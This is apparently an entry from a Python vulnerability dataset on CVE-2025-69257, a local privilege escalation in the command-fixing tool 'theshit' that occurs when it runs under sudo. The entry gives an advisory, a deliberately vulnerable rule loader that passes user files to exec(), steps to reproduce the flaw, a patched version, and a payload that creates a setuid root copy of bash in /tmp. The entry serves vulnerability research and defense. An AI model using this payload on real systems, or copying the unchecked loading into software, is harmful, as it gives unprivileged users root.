CVE-2025-69257
theshit allows local privilege escalation via insecure config file loading.
- CVSS 6.7
- CWE-269
- Authentication, Authorization, and Session Management
- Local
theshit is a command-line utility that automatically detects and fixes common mistakes in shell commands. Prior to version 0.1.1, the application loads custom Python rules and configuration files from user-writable locations (e.g., `~/.config/theshit/`) without validating ownership or permissions when executed with elevated privileges. If the tool is invoked with `sudo` or otherwise runs with an effective UID of root, it continues to trust configuration files originating from the unprivileged user's environment. This allows a local attacker to inject arbitrary Python code via a malicious rule or configuration file, which is then executed with root privileges. Any system where this tool is executed with elevated privileges is affected. In environments where the tool is permitted to run via `sudo` without a password (`NOPASSWD`), a local unprivileged user can escalate privileges to root without additional interaction. The issue has been fixed in version 0.1.1. The patch introduces strict ownership and permission checks for all configuration files and custom rules. The application now enforces that rules are only loaded if they are owned by the effective user executing the tool. When executed with elevated privileges (`EUID=0`), the application refuses to load any files that are not owned by root or that are writable by non-root users. When executed as a non-root user, it similarly refuses to load rules owned by other users. This prevents both vertical and horizontal privilege escalation via execution of untrusted code. If upgrading is not possible, users should avoid executing the application with `sudo` or as the root user. As a temporary mitigation, ensure that directories containing custom rules and configuration files are owned by root and are not writable by non-root users. Administrators may also audit existing custom rules before running the tool with elevated privileges.
- CWE
- CWE-269
- CVSS base score
- 6.7
- Published
- 2025-12-30
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Privilege Escalation
- Accessibility scope
- Local
- Impact
- Privilege Escalation
- Affected component
- theshit
- Fixed by upgrading
- Yes
Solution
Upgrade theshit to version 0.1.1 or later.
Vulnerable code sample
#!/usr/bin/env python3
import os
import sys
import pwd
# The name of the application, used for configuration paths.
APP_NAME = 'theshit'
def get_user_config_dir():
"""
Determines the configuration directory based on the executing user.
This is the core of the vulnerability. When run with sudo, it uses the
original user's home directory, not root's.
"""
try:
# If 'sudo' is used, SUDO_USER will be set to the original user's name.
original_user = os.environ.get('SUDO_USER')
if original_user:
# Get home directory of the original user.
home_dir = pwd.getpwnam(original_user).pw_dir
else:
# Not running under sudo, so use the current user's home directory.
home_dir = os.path.expanduser('~')
return os.path.join(home_dir, '.config', APP_NAME)
except Exception:
# Fallback in case of any errors (e.g., user not found)
return None
def load_custom_rules(config_dir):
"""
Loads and executes custom Python rules from the user's rules directory.
This function does not validate file ownership or permissions, leading
to arbitrary code execution when run with elevated privileges.
"""
rules_dir = os.path.join(config_dir, 'rules')
if not os.path.isdir(rules_dir):
return
print(f"[*] Loading custom rules from: {rules_dir}", file=sys.stderr)
for rule_file in os.listdir(rules_dir):
if rule_file.endswith('.py'):
rule_path = os.path.join(rules_dir, rule_file)
try:
with open(rule_path, 'r') as f:
rule_code = f.read()
# Execute the Python code from the rule file.
# If this script is run as root, this code also runs as root.
print(f" -> Executing rule: {rule_file}", file=sys.stderr)
exec(rule_code, {'__file__': rule_path})
except Exception as e:
print(f"[!] Error loading rule {rule_file}: {e}", file=sys.stderr)
def main():
"""
Main function for the 'theshit' application.
"""
print(f"--- TheShit Auto-Fixer (Vulnerable Version) ---")
print(f"Effective UID: {os.geteuid()}")
user_config_dir = get_user_config_dir()
if not user_config_dir:
print("[!] Could not determine user configuration directory. Aborting.", file=sys.stderr)
sys.exit(1)
# In the vulnerable version, custom rules are loaded without any checks.
load_custom_rules(user_config_dir)
print("\n[*] Simulating command analysis...")
# In a real application, command correction logic would be here.
print("[*] Analysis complete. No mistakes found.")
print("---------------------------------------------")
if __name__ == "__main__":
# To test the vulnerability:
# 1. Create the necessary directories:
# mkdir -p ~/.config/theshit/rules
# 2. Create a malicious rule file with payload:
# echo 'import os; os.system("touch /tmp/pwned_by_theshit")' > ~/.config/theshit/rules/malicious_rule.py
# 3. Run this script with sudo:
# sudo python3 /path/to/this_script.py
# 4. Check for the created file:
# ls /tmp/pwned_by_theshit
# The file will be owned by root, demonstrating successful privilege escalation.
main()Patched code sample
import os
import stat
import sys
def load_rule_securely(path):
"""
Loads and executes a Python rule file, but only after validating that it
has secure ownership and permissions to prevent privilege escalation.
This function represents the patched logic.
"""
# If the file does not exist, there is no risk.
if not os.path.exists(path):
return
try:
file_stat = os.stat(path)
except OSError as e:
sys.stderr.write(f"ERROR: Could not stat file {path}: {e}\n")
raise SystemExit(1)
effective_uid = os.geteuid()
# --- FIX LOGIC STARTS HERE ---
# 1. Check when running with elevated privileges (e.g., as root via sudo)
if effective_uid == 0:
# The file must be owned by root (UID 0).
if file_stat.st_uid != 0:
sys.stderr.write(
f"ERROR: Insecure file ownership. '{path}' is not owned by root.\n"
"Refusing to load configuration when running with elevated privileges.\n"
)
raise SystemExit(1)
# The file must not be writable by the group or others.
if file_stat.st_mode & stat.S_IWGRP or file_stat.st_mode & stat.S_IWOTH:
sys.stderr.write(
f"ERROR: Insecure file permissions. '{path}' is writable by group or others.\n"
"Refusing to load configuration when running with elevated privileges.\n"
)
raise SystemExit(1)
# 2. Check when running as a regular, non-root user
else:
# The file must be owned by the user running the script.
# This prevents a user from executing code owned by another user.
if file_stat.st_uid != effective_uid:
sys.stderr.write(
f"ERROR: Insecure file ownership. '{path}' is owned by UID {file_stat.st_uid},\n"
f"but the current user is UID {effective_uid}. Refusing to load.\n"
)
raise SystemExit(1)
# --- FIX LOGIC ENDS HERE ---
# If all security checks pass, proceed to load the rule.
# In the actual application, this would involve executing the Python code.
# For example: exec(open(path, 'r').read(), {'__file__': path})
passPayload
import os
import pty
if os.geteuid() == 0:
os.system('cp /bin/bash /tmp/root-shell && chmod +s /tmp/root-shell')
# For an interactive shell immediately:
# pty.spawn("/bin/bash")
Cite this entry
@misc{vaitp:cve202569257,
title = {{theshit allows local privilege escalation via insecure config file loading.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-69257},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-69257/}}
}
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